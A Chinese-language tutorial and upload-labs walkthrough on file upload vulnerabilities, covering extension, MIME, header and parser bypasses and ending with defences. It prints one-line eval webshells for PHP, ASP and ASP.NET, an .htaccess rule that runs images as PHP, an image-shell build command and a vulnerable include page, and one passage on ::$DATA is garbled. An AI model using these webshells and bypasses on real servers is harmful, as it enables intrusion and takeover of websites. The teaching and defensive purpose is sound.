1、文件上传简介
文件上传,顾名思义就是上传文件的功能行为。将客户端数据以文件形式封装,通过网络协议发送到服务器端。在服务器端解析数据,最终在服务端硬盘上作为真实的文件保存。
漏洞产生原因:大部分的网站和应用系统都有上传功能,一些文件上传功能实现代码没有严格限制用户上传的文件后缀以及文件类型,导致允许攻击者向某个可通过 Web 访问的目录上传任意 PHP 文件,并能够将这些文件传递给 PHP 解释器,就可以在远程服务器上执行任意PHP脚本。另外,服务器配置不当、开源编辑器的上传漏洞、文件上传限制被绕过、文件解析漏洞导致文件执行等都有可能产生文件上传漏洞。
漏洞危害:当系统存在文件上传漏洞时,攻击者可以将病毒,木马,WebShell,其他恶意脚本或者是包含了脚本的图片上传到服务器,服务器如果对其解析执行则会造成很大的危害。
WebShell 就是以 asp、php、jsp 或者 cgi 等网页文件形式存在的一种命令执行环境,也可以将其称之为一种网页后门。攻击者在入侵了一个网站后,通常会将这些 asp 或 php 后门文件与网站服务器 web 目录下正常的网页文件混在一起,然后使用浏览器来访问这些后门,得到一个命令执行环境,以达到控制网站服务器的目的(可以上传下载或者修改文件,操作数据库,执行任意命令等)。
2、绕过文件检测
通常一个文件以HTTP协议进行上传时,将以POST请求发送至Web服务器,Web服务器收到请求并同意后,用户与Web服务器将建立连接,并传输数据。一般一个文件上传过程中的检测方式有∶
- 客户端JavaScript检测(检测文件扩展名)
- 服务端MIME类型检测(检测content-type内容)
- 服务端目录路径检测(检测跟path参数相关的内容)
- 服务端文件内容检测(检测内容是否合法或含有恶意代码)等。
2.1、绕过客户端检测
原理:通常在上传页面里含有专门检测文件上传的JavaScript代码,最常见的就是检测文件类型和扩展名是否合法。
方法:在本地浏览器客户端禁用JS即可;可使用火狐浏览器的Noscript插件、IE中禁用JS等方式实现。
测试:upload-labs/Pass-01
这里的js检测文件的扩展名,只允许.jpg、.png、.gif文件上传。
但我们可以禁用此js,或者用burp抓包修改文件类型(上传1.jpg修改为1.php)
按照惯例,上传最简单的一句话木马
<?php
@eval($_POST['upload']);
?>
查看phpinfo()
上菜刀,可以看到整个网站的结构和文件,甚至是暴露了主机的磁盘存储!!可以进行任意非法增删查改!!网站(主机)至此沦陷……
"中国菜刀":仅需要一段简短的代码便可以管理网站。目前支持的服务器端脚本包括: php、ASP、ASP.NET、JSP等,并且支持HTTPS安全连接的网站。
PHP: <?php @eval($_POST['mima']);?>
ASP: <%eval request("mima")%>
ASP.NET <%@ Page Language="Jscript"%><%eval(Request.Item["mima"],"unsafe");%>
2.2、绕过MIME类型检测
原理:检测图片类型文件上传过程中http包的Content-Type字段的值,来判断上传文件是否合法。
绕过方法:用burpsuite截取并修改数据包中文件的content-type类型进行绕过。
常见MIME类型:
- html文件:text/html
- txt文件:text/plain
- pdf文档:application/pdf
- word文件:application/msword
- png图片:image/png
- jpeg图片:image/jpeg
- gif图片:image/gif
测试:upload-labs/Pass-02
通过其源码发现仅仅判断content-type类型,因此上传1.php抓包修改content-type为图片类型:image/jpeg、image/png、image/gif
成功利用
2.3、绕过黑名单检测
黑名单策略
文件扩展名在黑名单中为不合法,一般有个专门的blacklist文件,里面会包含常见的危险脚本文件。
绕过方法
1.后缀大小写绕过:
在对后缀的判断中,如果只是对字符串进行单独的比较来判断是不是限制文件,可以采用后缀名大小写绕过形式。
测试:upload-labs/Pass-06
这里对文件后缀进行了限制,但未对字母大小写做任何处理,可以大小写绕过。
$file_ext = strtolower($file_ext); //转换为小写
2.空格绕过:
如果黑名单没有对后缀名进行去空处理,可以通过在后缀名后加空进行绕过。
$file_ext = trim($file_ext); //首尾去空
3.点绕过:
如果黑名单没有对后缀名进行去.处理,利用Windows系统的文件名特性,会自动去掉后缀名最后的.,通过在文件名后加.进行绕过。
$file_name = deldot($file_name);//删除文件名末尾的点
4.::$DATA
绕过:
如果黑名单没有对后缀名进行去::$DATA
处理,利用Windows下NTFS文件系统的一个特性(在php+windows的情况下:如果文件名+"::
D
A
T
A
"
会
把
:
:
DATA"会把::
DATA"会把::DATA之后的数据当成文件流处理,不会检测后缀名,且保持"::$DATA
"之前的文件名),可以在后缀名后加::$DATA
。
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
5.双后缀名绕过:
如果黑名单是将问题后缀名替换为空,可以利用双写绕过进行文件上传。
$file_name = str_ireplace($deny_ext,"", $file_name);
6.配合文件解析漏洞绕过:
- IIS解析漏洞
在IIS6.0的情况下有三种可以利用的手段
- 建立
*.asa
、*.asp
格式的文件夹时其目录下的文件都会当做asp文件解析。 - 当文件名为
*.asp;1.jpg
时,IIS会以ASP文件来解析,也就是说;起到了截断作用。 - WebDav漏洞,借助put方法直接向服务器上传危险脚本
-
Apache解析漏洞
在Apache 1.X与Apache 2.X中如果碰到文件名为
demo.php.test
的文件会按php文件进行解析,根据Apache的解析规则,如果碰到不认识的拓展名便会进行遍历,直到碰到能够解析的拓展名。在Apache根目录的coof/mime.types文件中有详细的可识别拓展名。
-
Nginx解析漏洞
在Nginx的服务器环境下,假如成功上传一张名为test.jpg的文件到网站根目录下,如果我们访问www.demo.com/test.jpg/test.php
这个虚构的目录服务器则会直接将test.jpg作为php文件进行解析。
7.htaccess绕过
当上传.htaccess
文件到网站目录时,该目录下的文件会按其配置生效解析。
条件
- apache服务器
- 能够上传.htaccess文件,一般为黑名单限制。
- AllowOverride All(默认配置为关闭None)
- LoadModule rewrite_module modules/mod_rewrite.so #rewrite模块为开启状态
- 上传目录具有可执行权限。
测试:upload-labs/Pass-04
代码:
$is_upload = false;
$msg = null;
if (isset($_POST['submit'])) {
if (file_exists(UPLOAD_PATH)) {
$deny_ext = array(".php",".php5",".php4",".php3",".php2",".php1",".html",".htm",".phtml",".pht",".pHp",".pHp5",".pHp4",".pHp3",".pHp2",".pHp1",".Html",".Htm",".pHtml",".jsp",".jspa",".jspx",".jsw",".jsv",".jspf",".jtml",".jSp",".jSpx",".jSpa",".jSw",".jSv",".jSpf",".jHtml",".asp",".aspx",".asa",".asax",".ascx",".ashx",".asmx",".cer",".aSp",".aSpx",".aSa",".aSax",".aScx",".aShx",".aSmx",".cEr",".sWf",".swf",".ini");
$file_name = trim($_FILES['upload_file']['name']);
$file_name = deldot($file_name);//删除文件名末尾的点
$file_ext = strrchr($file_name, '.');
$file_ext = strtolower($file_ext); //转换为小写
$file_ext = str_ireplace('::$DATA', '', $file_ext);//去除字符串::$DATA
$file_ext = trim($file_ext); //收尾去空
if (!in_array($file_ext, $deny_ext)) {
$temp_file = $_FILES['upload_file']['tmp_name'];
$img_path = UPLOAD_PATH.'/'.$file_name;
if (move_uploaded_file($temp_file, $img_path)) {
$is_upload = true;
} else {
$msg = '上传出错!';
}
} else {
$msg = '此文件不允许上传!';
}
} else {
$msg = UPLOAD_PATH . '文件夹不存在,请手工创建!';
}
}
该代码对常见的多种类型文件后缀名进行了限制上传,但是仔细可以发现,并没有对htaccess
文件进行限制。于是,我们可以先上传一个htaccess
文件,再上传一个图片马,进行绕过检测上传。
.htaccess文件
AddType application/x-httpd-php .jpg
这样所有文件都会当成php来解析
2.4、绕过白名单检测
白名单策略:文件扩展名不在白名单中为不合法。
绕过方法:服务端判断文件类型是从后往前判断,而对文件解析是从前往后解析,可以利用00截断的方
式进行绕过。如应用本来只允许上传jpg图片,那么可以构造文件名为xxx.php%00.jpg
,其中%00
为十六进制的0x00
字符,.jpg骗过了应用的上传文件类型检测,但对于服务器来说,因为%00
字符截断的关系,最终上传的文件变成了xxx.php
。
测试:upload-labs/Pass-12
白名单判断,但$img_path是直接拼接,因此可以利用%00截断绕过。
$img_path = $_GET['save_path']."/".rand(10, 99).date("YmdHis").".".$file_ext;
截断条件:php版本小于5.3.4,php的magic_quotes_gpc为OFF状态
2.5、绕过文件内容检测
文件头校验原理:判断文件头内容是否符合要求。
常见的文件头对应关系:
- .jpeg、jpg:JPGGraphicFile
- .gif:GIF 89A
- .zip:Zip Compressed
绕过文件头检查:上传图片马,通过添加文件头绕过图片类型内容检查。
突破getimagesize()函数:图像文件相关信息常用检测函数,用以获取文件类型,绕过只需要把文件头部分伪造好。
测试:upload-labs/Pass-14
源码:
function getReailFileType($filename){
$file = fopen($filename, "rb");
$bin = fread($file, 2); //只读2字节
fclose($file);
$strInfo = @unpack("C2chars", $bin);
$typeCode = intval($strInfo['chars1'].$strInfo['chars2']);
$fileType = '';
switch($typeCode){
case 255216:
$fileType = 'jpg';
break;
case 13780:
$fileType = 'png';
break;
case 7173:
$fileType = 'gif';
break;
default:
$fileType = 'unknown';
}
return $fileType;
}
$is_upload = false;
$msg = null;
if(isset($_POST['submit'])){
$temp_file = $_FILES['upload_file']['tmp_name'];
$file_type = getReailFileType($temp_file);
if($file_type == 'unknown'){
$msg = "文件未知,上传失败!";
}else{
$img_path = UPLOAD_PATH."/".rand(10, 99).date("YmdHis").".".$file_type;
if(move_uploaded_file($temp_file,$img_path)){
$is_upload = true;
} else {
$msg = "上传出错!";
}
}
}
通过读文件的前2个字节判断文件类型,因此直接上传图片马即可,制作图片马(cmd下copy命令):
copy 1.gif /b + test.php /a shell.gif
直接访问图片并不能把图片当做PHP解析,因此还需要利用文件包含漏洞
##include.php
<?php
/*
本页面存在文件包含漏洞,用于测试图片马是否能正常运行!
*/
header("Content-Type:text/html;charset=utf-8");
$file = $_GET['file'];
if(isset($file)){
include $file;
}else{
show_source(__file__);
}
?>
3、上传漏洞检测
- 登陆网站,并打开文件上传页面。
- 点击“浏览”按钮,并选择本地的一个JSP文件(比如 hacker.jsp),确认上传。
- 如果客户端脚本限制了上传文件的类型(比如允许gif文件),则把 hacker.jsp 更名为 hacker.gif;配置 HTTP Proxy(burp) 进行 http 请求拦截;重新点击“浏览”按钮,并选择 hacker.gift,确认上传。
- 在WebScarab拦截的HTTP请求数据中,将 hacker.gif 修改为 hacker.jsp,再发送请求数据。
- 登陆后台服务器,用命令
find / -name hacker.jsp
查看 hacker.jsp 文件存放的路径。如果可以直接以Web方式访问,则构造访问的URL,并通过浏览器访问 hacker.jsp,如果可以正常访问,则已经取得WebShell,测试结束。如果 hacker.jsp 无法通过 web 方式访问,例如 hacker.jsp 存放在 /home/tmp/ 目录下,而 /home/tomcat/webapps 目录对应http://www.example.com/,则进行下一步。 - 重复1~3,在burp拦截的HTTP请求数据中,将hacker.gif修改为…/tomcat/webapps/hacker.jsp,再发送请求数据。在浏览器地址栏输入http://www.example.com/hacker.jsp,访问该后门程序,取得WebShell,结束检测。
4、上传漏洞防御
- 文件上传的目录设置为不可执行
最有效的,将文件上传目录直接设置为不可执行,对于Linux而言,撤销其目录的’x’权限;实际中很多大型网站的上传应用都会放置在独立的存储上作为静态文件处理,一是方便使用缓存加速降低能耗,二是杜绝了脚本执行的可能性。 - 判断文件类型
在判断文件类型时,可以结合使用MIME Type、后缀检查等方式。在文件类型检查中,强烈推荐白名单方式,黑名单的方式已经无数次被证明是不可靠的。此外,对于图片的处理,可以使用压缩函数或者resize函数,在处理图片的同时破坏图片中可能包含的HTML代码。 - 使用随机数改写文件名和文件路径
文件上传如果要执行代码,则需要用户能够访问到这个文件。在某些环境中,用户能上传,但不能访问。如果应用了随机数改写了文件名和路径,将极大地增加攻击的成本。再来就是像shell.php.rar.rar和crossdomain.xml这种文件,都将因为重命名而无法攻击。 - 单独设置文件服务器的域名
由于浏览器同源策略的关系,一系列客户端攻击将失效,比如上传crossdomain.xml、上传包含Javascript的XSS利用等问题将得到解决。
5、参考资料
[2] upload-labs通关记录